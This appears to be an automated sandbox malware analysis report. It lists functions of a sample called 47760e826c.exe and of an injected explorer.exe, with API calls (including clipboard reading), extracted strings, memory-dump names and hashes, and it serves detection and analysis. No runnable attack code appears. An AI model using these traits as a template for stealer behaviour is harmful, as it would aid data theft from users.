Instruction Fuzzy Hash: 3A1104F293261A7F6B353B71AC8EE7F6A5CDE44398B12032EF905D2100EE609D2185B1

Function 002D429C Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,002D311E,00000000,00000001,?,?,?,002CFC5E,?,00000000,00000000), ref: 002D42B3
GetLastError.KERNEL32(?,002D311E,00000000,00000001,?,?,?,002CFC5E,?,00000000,00000000,?,?,?,002CF5A4,?), ref: 002D42BF

Part of subcall function 002D4310: CloseHandle.KERNEL32(FFFFFFFE,002D42CF,?,002D311E,00000000,00000001,?,?,?,002CFC5E,?,00000000,00000000,?,?), ref: 002D4320

___initconout.LIBCMT ref: 002D42CF

Part of subcall function 002D42F1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002D428D,002D310B,?,?,002CFC5E,?,00000000,00000000,?), ref: 002D4304

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,002D311E,00000000,00000001,?,?,?,002CFC5E,?,00000000,00000000,?), ref: 002D42E4

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 888b3cc87f986debbd8dcc35e38f752f8377deb509c80df271296b502e429559
Instruction ID: 7d1ece5ed80674894783b2a52116051c2028f9ab31408c9304171d5173af4ce4
Opcode Fuzzy Hash: 888b3cc87f986debbd8dcc35e38f752f8377deb509c80df271296b502e429559
Instruction Fuzzy Hash: C9F0F837811116BBCF222FE6EC0CA993F26EB493A1B114522FA0995670CA328C20DB90

Function 002C38D1 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 002C38E3
GetCurrentThreadId.KERNEL32 ref: 002C38F2
GetCurrentProcessId.KERNEL32 ref: 002C38FB
QueryPerformanceCounter.KERNEL32(?), ref: 002C3908

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a1d0fff7a2b394e5ee127c06da913b19674de16feae924988fc9e47746089a37
Instruction ID: cf0a9c40053c697f4a9d454a097d5fa06e46174923a28ec261361a8fb31f5178
Opcode Fuzzy Hash: a1d0fff7a2b394e5ee127c06da913b19674de16feae924988fc9e47746089a37
Instruction Fuzzy Hash: 88F05F75D1120EEBCB00DBB4D94999EBBF4EF1C200BA185A6A512E7110EA30AB44DB50

Function 002C92ED Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,002C91EE,?,?,00000000,00000000,00000000,?), ref: 002C9312

Strings

RCC, xrefs: 002C932C
MOC, xrefs: 002C9324

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 988319dcb8aa5bff65b956c4e672c80337d6a9bb894bb04853b44e04c2b44128
Instruction ID: 550f70d7b22830f854ef6cdf2fa97e5d5783c322cc22254ec08817ca3612834c
Opcode Fuzzy Hash: 988319dcb8aa5bff65b956c4e672c80337d6a9bb894bb04853b44e04c2b44128
Instruction Fuzzy Hash: FC41477291020AAFCF15DF94CD85FEE7BB5AF48300F188299FA0567251D33599A1DF90

Function 002C329D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,002C320F,?,?,?,?,002C3233,000000FF,?,?,?,002C314B,00000000), ref: 002C32D5
GetSystemTimeAsFileTime.KERNEL32(?,54DFDFAE,?,?,002D5C69,000000FF,?,002C320F,?,?,?,?,002C3233,000000FF,?), ref: 002C32D9

Strings

f2,, xrefs: 002C32CF

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID: f2,
API String ID: 743729956-1823692306
Opcode ID: 57c7abcdf44e40dec3eb8cfc158c08e92c0d6d0e04dbbe80cf3cd7af4742e84c
Instruction ID: e3d7ac620c342c161377e84bbbea5a6214d3432b6fb6535917c785ff257a0fb0
Opcode Fuzzy Hash: 57c7abcdf44e40dec3eb8cfc158c08e92c0d6d0e04dbbe80cf3cd7af4742e84c
Instruction Fuzzy Hash: 42F03032A15668EFCB11DF44FC48B99B7A8F709B10F11462BEC12A7790DB75AE00CB84

Function 002C99FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 002C9A3C

Strings

InitializeCriticalSectionEx, xrefs: 002C9A0C
f2,, xrefs: 002C9A2C

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$f2,
API String ID: 2593887523-1328817820
Opcode ID: eaa4da08fe2c1af92f75dd7ee3d4f9652541409307c9c69a7d74450cac55ee9e
Instruction ID: 55a32d6548cfd43dcea65001e0fb4a0dc5ee41852a5dd3fb164adc7d5c4a3e5d
Opcode Fuzzy Hash: eaa4da08fe2c1af92f75dd7ee3d4f9652541409307c9c69a7d74450cac55ee9e
Instruction Fuzzy Hash: 31E09231550219BBCB212F41EC0DE9E3F12EB45BA0F008122FD1925661C7728D70EBD0

Function 002C98FD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 002C9931

Strings

f2,, xrefs: 002C9927
FlsAlloc, xrefs: 002C990D

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc$f2,
API String ID: 2773662609-2048027969
Opcode ID: db86a67cb473b8ff9e70954a316b248a44ff4ed951d6197992297c94a4e905a7
Instruction ID: 184ea34e181edde5a08b3519f6d2830c271748a6cdc101650a37fe67bcabfdc6
Opcode Fuzzy Hash: db86a67cb473b8ff9e70954a316b248a44ff4ed951d6197992297c94a4e905a7
Instruction Fuzzy Hash: B7E0C231AA52297787102B91BC0EFAE7E05DB45B60B05012BF90A267A1CAA50D7086D6

Analysis Process: explorer.exePID: 6932, Parent PID: 5040COMMON

Non-executed Functions

Function 00000001402D82A0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000001402D82CC
GetCurrentThreadId.KERNEL32 ref: 00000001402D82DA
GetCurrentProcessId.KERNEL32 ref: 00000001402D82E6
QueryPerformanceCounter.KERNEL32 ref: 00000001402D82F6

Memory Dump Source

Source File: 00000024.00000002.2298644322.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000024.00000002.2298605968.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2299813982.000000014040B000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2299813982.000000014042C000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2299813982.000000014042E000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2299813982.00000001406B6000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2299813982.0000000140738000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2300540941.0000000140739000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2300800599.000000014075E000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000024.00000002.2300860498.0000000140764000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140000000_explorer.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 40e2a232fc295a5026443da29b24fa9c722a4f82c9d20809496c69369bb5da58
Instruction ID: 21d2bc6bb35d802d5d5cc750b7b1863eea689a07cd70b94b43f5df2df9f0d793
Opcode Fuzzy Hash: 40e2a232fc295a5026443da29b24fa9c722a4f82c9d20809496c69369bb5da58
Instruction Fuzzy Hash: FA112732750F058AEB01CF61E8583A833A4FB5DB68F441E25EF6D867A4DB78C5558340

Analysis Process: 47760e826c.exePID: 6608, Parent PID: 6816COMMON

Executed Functions

Function 0040A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A|}~, xrefs: 0040AAD6
N[\D, xrefs: 0040AC00
N[\D, xrefs: 0040ACF6, 0040ABC5, 0040ADB7, 0040ADEE, 0040AD01, 0040ABA4, 0040ACD2, 0040ADC0
n, xrefs: 0040A982
#xDz, xrefs: 0040AACE
'D F, xrefs: 0040AAC6
kl, xrefs: 0040AB2D

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: 873e877496f468c046363248420fa7ca63a51e9b47053ced3edd0b31dc018a30
Instruction ID: 966b8f91f76bb20883ed88500b6b89ab0c93423946d56f050922860fedc986fe
Opcode Fuzzy Hash: 873e877496f468c046363248420fa7ca63a51e9b47053ced3edd0b31dc018a30
Instruction Fuzzy Hash: D7C1267260C3504BC714CF6488905AFBBD3ABC2304F1E893DE9D56B382D679991AC78B

Function 004087F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408811
GetCurrentThreadId.KERNEL32 ref: 0040881A
GetForegroundWindow.USER32 ref: 004088CE
ExitProcess.KERNEL32 ref: 0040897B

Strings

YO9W, xrefs: 00408822

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID: YO9W
API String ID: 3118123366-386669604
Opcode ID: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction ID: 5b12a659e8285d1355c3597aa5681aa9478bfa7506ef17589c1493984f4e9e7d
Opcode Fuzzy Hash: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction Fuzzy Hash: 98315977F5061807C31C7AB98C4636AB5874BC4614F0F863E9DD9AB386FDB89C0442D9

Function 0043B480 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00409CC0 Relevance: 1.3, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\U^_, xrefs: 00409CE5

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction ID: 5fa690bb4235e6f9a1b833386d74a381627e7adb8b1be8a89cbf23ee07b36487
Opcode Fuzzy Hash: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction Fuzzy Hash: D011E23060C3808FD324DF3495549ABBBA5EFD7748F545A2CE4C56B281C735980A8FAA

Function 00434BDC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00434C09

Strings

t, xrefs: 00434C14

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: t
API String ID: 95929093-2238339752
Opcode ID: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction ID: 08a8b9a0e37a212ebea7de5d04b95149eac63241ee44ff142c93878423301f38
Opcode Fuzzy Hash: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction Fuzzy Hash: 53F0FF34808298CFDB10DF68D4943EEBBF16F66304F1880ACC08497382D37A9A84CB12

Function 0043B720 Relevance: 3.0, APIs: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043B720
GetForegroundWindow.USER32 ref: 0043B740

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction ID: 191facca889f69fa70601903ca8693053aaba1cbaba24685dbffd0b384c421fe
Opcode Fuzzy Hash: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction Fuzzy Hash: 7ED0A7FDD20110EBC604AB71FC4A41B3A1AEB4722DB545539EC0343352DA39782E868F

Function 0043B420 Relevance: 1.5, APIs: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B29B,?,00000001,?,?,?,?,?,?,?), ref: 0043B452

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction ID: a89ac6462aaa6a8a5f29c09ee71e481237a955995f4f3f89a98fbf9f2f2a6ed3
Opcode Fuzzy Hash: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction Fuzzy Hash: FBE0E536904210EBD2002B357C06B177678EF9B715F060436F40152115D739E801C5DE

Function 00439B60 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00412F5C), ref: 00439B80

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction ID: 8d81dc3d2e1c71e2762f942217139477682170591cb2c618f1865e02491f5b7e
Opcode Fuzzy Hash: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction Fuzzy Hash: 76D0C935505126EBCA506B28BC15BC73A989F4A671F0708A1B4006A075C765EC919AD8

Function 00439B40 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00414E57,00000400), ref: 00439B50

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction ID: 3d340f236624c1ae318c051adf9ea47d82c8c11c3707c94fc3fa8f772c7fe72e
Opcode Fuzzy Hash: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction Fuzzy Hash: 91C04831145224ABDA10AB15EC09B8A3AA8AF496A1F1A04A6B005660B28760AC929A98

Non-executed Functions

Function 00425920 Relevance: 12.9, Strings: 10, Instructions: 398COMMON

Download Yara Rule

Strings

^P, xrefs: 00425A07
cba`, xrefs: 00425E6C
Z\, xrefs: 004259FF
=j9l, xrefs: 0042599F
z%|, xrefs: 004259BF
cba`, xrefs: 00425C50
<b"d, xrefs: 004259AF
&f?x, xrefs: 004259B7
3v#H, xrefs: 004259D7
"r,t, xrefs: 004259CF

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: z%|$"r,t$&f?x$3v#H$<b"d$=j9l$cba`$cba`$Z\$^P
API String ID: 0-3047316687
Opcode ID: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction ID: 146473404e5499b4986dffa8d26f26e1c07bf5215faae6f3d7194190b628d0b4
Opcode Fuzzy Hash: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction Fuzzy Hash: C2D124B9608380DFE324DF15E88176BB7E1FBD5304F94982DE58587261D738D901CB4A

Function 00431A30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431A40
GetWindowLongW.USER32 ref: 00431A65
GetClipboardData.USER32 ref: 00431A75
GlobalLock.KERNEL32 ref: 00431A8E
GlobalUnlock.KERNEL32 ref: 00431B90
CloseClipboard.USER32 ref: 00431B99

Strings

K, xrefs: 00431B1E

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: K
API String ID: 2832541153-856455061
Opcode ID: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction ID: 513562b2ac7e6d1d4712994eff6d7c1bc04b9d90a7c3137532ed1f51a9abc6ba
Opcode Fuzzy Hash: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction Fuzzy Hash: 34418E6150C7818ED310AF7C988826FBFE09B96224F044A6EE8E5872D2E6389549C797

Function 0042D085 Relevance: 6.6, Strings: 5, Instructions: 368COMMON

Download Yara Rule

Strings

k, xrefs: 0042D4B6
#, xrefs: 0042D4AC
0, xrefs: 0042D430
AGsW, xrefs: 0042D496
P, xrefs: 0042D554

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: #$0$AGsW$P$k
API String ID: 0-1629916805
Opcode ID: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction ID: 8816b6b3b95a3b8c405e0a0f8c285763547ceed8af8c8b555c70c7a9f783aa76
Opcode Fuzzy Hash: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction Fuzzy Hash: 1CC1F4317183918ED328CF39D4513ABBBD2AFD2304F68866ED4D58B2D1D6798449C71B

Function 00426170 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

8zVc, xrefs: 0042627D
cba`, xrefs: 004261C1
4zVc, xrefs: 0042621C
YNMZ, xrefs: 00426446

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID: InitializeThunk
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 2994545307-1799417857
Opcode ID: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction ID: a4538a0261ff6c2ac210d57fc6ac5424e6a326b8b8d8802f404cc31a7d59ec03
Opcode Fuzzy Hash: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction Fuzzy Hash: 189147B2F042208BD724DA25EC8172B7292EBD1314F5A857EEC8597342E678AC00C7DA

Function 00422270 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

TU, xrefs: 00422296
c!", xrefs: 0042242F

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: TU$c!"
API String ID: 0-3813282519
Opcode ID: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction ID: a4d5b8c078bf2433dc24120fb7555f1f32600d90c3be649242fb2c546733d6d2
Opcode Fuzzy Hash: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction Fuzzy Hash: 27C16672B04310ABD714DB29ED5277BB3E2EFD5314F48852EE88587381E6BCE801875A

Function 0041D074 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

|~, xrefs: 0041D10A
pr, xrefs: 0041D112

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction ID: 1c71e515e24bd4364ede3925d09e369eeeaf8989eca5e2d791649c7508655d54
Opcode Fuzzy Hash: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction Fuzzy Hash: E451F0B0A0C3509BD7008F24D8127ABB7F1EF92319F1885AEE4C55B391E7399642CB5E

Function 0041D087 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

|~, xrefs: 0041D10A
pr, xrefs: 0041D112

Memory Dump Source

Source File: 00000028.00000002.2362998162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_47760e826c.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction ID: b30244ed6a2ff3de417c81c30de102dda9fa652a451c4e072b4a3ececf8c80cf
